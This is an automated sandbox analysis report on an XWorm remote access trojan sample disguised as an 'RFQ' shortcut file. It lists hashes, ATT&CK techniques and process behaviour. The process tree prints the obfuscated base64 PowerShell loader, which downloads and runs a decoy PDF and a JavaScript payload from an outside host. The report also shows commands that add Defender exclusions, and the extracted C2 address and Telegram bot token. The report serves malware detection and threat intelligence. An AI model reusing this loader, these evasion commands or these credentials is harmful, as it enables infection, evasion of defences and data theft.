xworm | ff9878910157dee6cdb0b7eebdd04744db7b8dba7e1b502b11dd6edbc831d3c7

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-11-2024 05:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Saturday Nov 16 RFQ 120HQ.lnk
Size

215KB
MD5

614423a0f5b8a21a0ae2d957b46cef3c
SHA1

529c5271a1b4cef778dc48b2dd6edfeddd24c38c
SHA256

506db308fda3797a3474eab41654ba925cd3ba3582f638b92400ba3767294de6
SHA512

6dd13c5927b99c804e20ed0412d7279c40ddbce7c626e536c2d4a11e6455203c82780db5d53fda5552fdf590633c76e83c0c6aaaf83e3c2d528e9e5a59298af4
SSDEEP

6144:M+HZ4aKBKefy7xCfE2CQT7FSwehrQWatIJEr0a6NQ:M+mGwy70fHCQThS9Z2aaMQ

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

185.162.75.19:7000

Mutex

AyJZQz7cchpO5oie

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot6460930418:AAGMLktYHOrDqJ5cDoT5GtLWliQfxKax0DI/sendMessage?chat_id=6746471576

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/688-39-0x000000000BA90000-0x000000000BAA6000-memory.dmp	family_xworm
behavioral2/memory/688-41-0x000000000BA90000-0x000000000BAA2000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1028	powershell.exe
3424	powershell.exe
2256	powershell.exe
4844	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\myscript.lnk	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4844 set thread context of 688	4844	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regbrowsers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
688	aspnet_regbrowsers.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1028	powershell.exe
1028	powershell.exe
4844	powershell.exe
4844	powershell.exe
3424	powershell.exe
3424	powershell.exe
2256	powershell.exe
2256	powershell.exe
688	aspnet_regbrowsers.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	688	aspnet_regbrowsers.exe
Token: SeDebugPrivilege	3424	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	688	aspnet_regbrowsers.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
688	aspnet_regbrowsers.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4780 wrote to memory of 1028	4780	cmd.exe	84
PID 4780 wrote to memory of 1028	4780	cmd.exe	84
PID 1028 wrote to memory of 1344	1028	powershell.exe	88
PID 1028 wrote to memory of 1344	1028	powershell.exe	88
PID 1344 wrote to memory of 3720	1344	WScript.exe	89
PID 1344 wrote to memory of 3720	1344	WScript.exe	89
PID 3720 wrote to memory of 4844	3720	cmd.exe	91
PID 3720 wrote to memory of 4844	3720	cmd.exe	91
PID 4844 wrote to memory of 688	4844	powershell.exe	92
PID 4844 wrote to memory of 688	4844	powershell.exe	92
PID 4844 wrote to memory of 688	4844	powershell.exe	92
PID 4844 wrote to memory of 688	4844	powershell.exe	92
PID 4844 wrote to memory of 688	4844	powershell.exe	92
PID 4844 wrote to memory of 688	4844	powershell.exe	92
PID 4844 wrote to memory of 688	4844	powershell.exe	92
PID 4844 wrote to memory of 688	4844	powershell.exe	92
PID 688 wrote to memory of 3424	688	aspnet_regbrowsers.exe	98
PID 688 wrote to memory of 3424	688	aspnet_regbrowsers.exe	98
PID 688 wrote to memory of 3424	688	aspnet_regbrowsers.exe	98
PID 688 wrote to memory of 2256	688	aspnet_regbrowsers.exe	102
PID 688 wrote to memory of 2256	688	aspnet_regbrowsers.exe	102
PID 688 wrote to memory of 2256	688	aspnet_regbrowsers.exe	102

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Saturday Nov 16 RFQ 120HQ.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -NoExit -Command "$6VcZuEYj = 'aXdyIC1VcmkgaHR0cHM6Ly9xdS5heC93VkVQei5wZGYgLU91dEZpbGUgJGVudjpURU1QXFNhdHVyZGF5IE5vdiAxNiBSRlEgMTIwSFEucGRmO1N0YXJ0LVByb2Nlc3MgJGVudjpURU1QXFNhdHVyZGF5IE5vdiAxNiBSRlEgMTIwSFEucGRmO2l3ciAtVXJpIGh0dHBzOi8vcXUuYXgvdHdCa1guanMgLU91dEZpbGUgJGVudjpURU1QXGFVSXFLcC5qcztTdGFydC1Qcm9jZXNzICRlbnY6VEVNUFxhVUlxS3AuanM7JGNsPSdNU093U0YnOyRjbD0nTVNPd1NGJztFeGl0';$ZSr2rv13TMa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($6VcZuEYj));Invoke-Expression -Command $ZSr2rv13TMa"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\aUIqKp.js"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\UPDATE.ps1""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3720
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\UPDATE.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4844
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:688
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3424
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'aspnet_regbrowsers.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ba7bb8c22d72f7d6094bf4b7a11fd2df

SHA1
e68eab39081c17997a16bca1667f1544f11804a5

SHA256
0b479a9a243e4fa548d64277229f3c72cc7c6773001a235fc406c74e98d32b1a

SHA512
58288cb73c35eb08b28f9ad0e96ed17e89b6e361c015c233deba9eb39a928e7216576c897bed531625171606ff9952361c40b14df27c0aa7e2e68228aeb0de4c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
dd4af1720f7c5e585e45ad97dc8044ef

SHA1
af48a3b58ab0c475ea7d623eab4ab783ef44ab06

SHA256
aef38821f2e2774a27a0e59a490ecb876cfd73f366281e6a386d0feb6420d041

SHA512
45914d84dac6c8a6f94cdfecb88d2fe8e3c1802fc7166d9ef6171b5700f997d1853085d97f44d482ac314d525e380ae82e9dab823c5f95b9555f18b37e0380ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mtq1dsbq.jr5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\aUIqKp.js

Filesize
199KB

MD5
4ceb1057e744898bc02ffe2a9daa061a

SHA1
ccc89e9d665bc204347fbc7346957ed65ef983ba

SHA256
d2c8b31ed90c86ec267b673178ce22b36096ff8d705cbf9b5fa8ed4bac87550b

SHA512
3a71dba04527b03bb0ee1384f92b33eaa3de7bb3f1521997fd3151ef9ce553bfb5608054919b37c35f0f6f611acf59805949e586e52e3ca2cfc85e57f246c87a

Download Submit
C:\Users\Admin\AppData\Roaming\UPDATE.ps1

Filesize
196KB

MD5
67ea1d562d1ed27916829a569dbc7fb5

SHA1
7d083620f91219c67b7e0a2925a3cb8c987d00ee

SHA256
61b54b21f003b1133e63b76fe99a0750303e17a7cc93ea4535c5533b028b1781

SHA512
5d03188a7e5e3fd5f9702b9ac2255cc8d5f23dc0d101f5ffb84d411d0c89021af704383f8f2ee88af3a696a7576b8a338fa4140d9396ff6a6e299f1b511d39b4

Download Submit
memory/688-39-0x000000000BA90000-0x000000000BAA6000-memory.dmp

Filesize
88KB

Download
memory/688-108-0x0000000005720000-0x0000000005CC4000-memory.dmp

Filesize
5.6MB

Download
memory/688-109-0x00000000053A0000-0x0000000005432000-memory.dmp

Filesize
584KB

Download
memory/688-42-0x00000000049E0000-0x0000000004A7C000-memory.dmp

Filesize
624KB

Download
memory/688-41-0x000000000BA90000-0x000000000BAA2000-memory.dmp

Filesize
72KB

Download
memory/688-110-0x00000000054E0000-0x00000000054EA000-memory.dmp

Filesize
40KB

Download
memory/1028-2-0x00007FFB497F3000-0x00007FFB497F5000-memory.dmp

Filesize
8KB

Download
memory/1028-17-0x00007FFB497F0000-0x00007FFB4A2B1000-memory.dmp

Filesize
10.8MB

Download
memory/1028-15-0x00007FFB497F0000-0x00007FFB4A2B1000-memory.dmp

Filesize
10.8MB

Download
memory/1028-24-0x00007FFB497F0000-0x00007FFB4A2B1000-memory.dmp

Filesize
10.8MB

Download
memory/1028-16-0x00007FFB497F0000-0x00007FFB4A2B1000-memory.dmp

Filesize
10.8MB

Download
memory/1028-3-0x00000265E32D0000-0x00000265E32F2000-memory.dmp

Filesize
136KB

Download
memory/1028-9-0x00007FFB497F0000-0x00007FFB4A2B1000-memory.dmp

Filesize
10.8MB

Download
memory/1028-14-0x00000265E3450000-0x00000265E3494000-memory.dmp

Filesize
272KB

Download
memory/2256-97-0x000000006FEC0000-0x000000006FF0C000-memory.dmp

Filesize
304KB

Download
memory/2256-91-0x0000000005C60000-0x0000000005FB4000-memory.dmp

Filesize
3.3MB

Download
memory/3424-61-0x0000000006E90000-0x0000000006EC2000-memory.dmp

Filesize
200KB

Download
memory/3424-79-0x0000000007E20000-0x0000000007E2E000-memory.dmp

Filesize
56KB

Download
memory/3424-59-0x00000000068D0000-0x00000000068EE000-memory.dmp

Filesize
120KB

Download
memory/3424-62-0x000000006FEC0000-0x000000006FF0C000-memory.dmp

Filesize
304KB

Download
memory/3424-72-0x0000000006EF0000-0x0000000006F0E000-memory.dmp

Filesize
120KB

Download
memory/3424-73-0x0000000007AC0000-0x0000000007B63000-memory.dmp

Filesize
652KB

Download
memory/3424-74-0x0000000008240000-0x00000000088BA000-memory.dmp

Filesize
6.5MB

Download
memory/3424-75-0x0000000007BF0000-0x0000000007C0A000-memory.dmp

Filesize
104KB

Download
memory/3424-76-0x0000000007C50000-0x0000000007C5A000-memory.dmp

Filesize
40KB

Download
memory/3424-77-0x0000000007E80000-0x0000000007F16000-memory.dmp

Filesize
600KB

Download
memory/3424-78-0x0000000007DF0000-0x0000000007E01000-memory.dmp

Filesize
68KB

Download
memory/3424-60-0x0000000006960000-0x00000000069AC000-memory.dmp

Filesize
304KB

Download
memory/3424-80-0x0000000007E30000-0x0000000007E44000-memory.dmp

Filesize
80KB

Download
memory/3424-81-0x0000000007F40000-0x0000000007F5A000-memory.dmp

Filesize
104KB

Download
memory/3424-82-0x0000000007E70000-0x0000000007E78000-memory.dmp

Filesize
32KB

Download
memory/3424-57-0x00000000062E0000-0x0000000006634000-memory.dmp

Filesize
3.3MB

Download
memory/3424-47-0x0000000006270000-0x00000000062D6000-memory.dmp

Filesize
408KB

Download
memory/3424-46-0x0000000006200000-0x0000000006266000-memory.dmp

Filesize
408KB

Download
memory/3424-45-0x0000000005A20000-0x0000000005A42000-memory.dmp

Filesize
136KB

Download
memory/3424-44-0x0000000005B60000-0x0000000006188000-memory.dmp

Filesize
6.2MB

Download
memory/3424-43-0x0000000002F90000-0x0000000002FC6000-memory.dmp

Filesize
216KB

Download
memory/4844-38-0x00000291D7510000-0x00000291D753A000-memory.dmp

Filesize
168KB

Download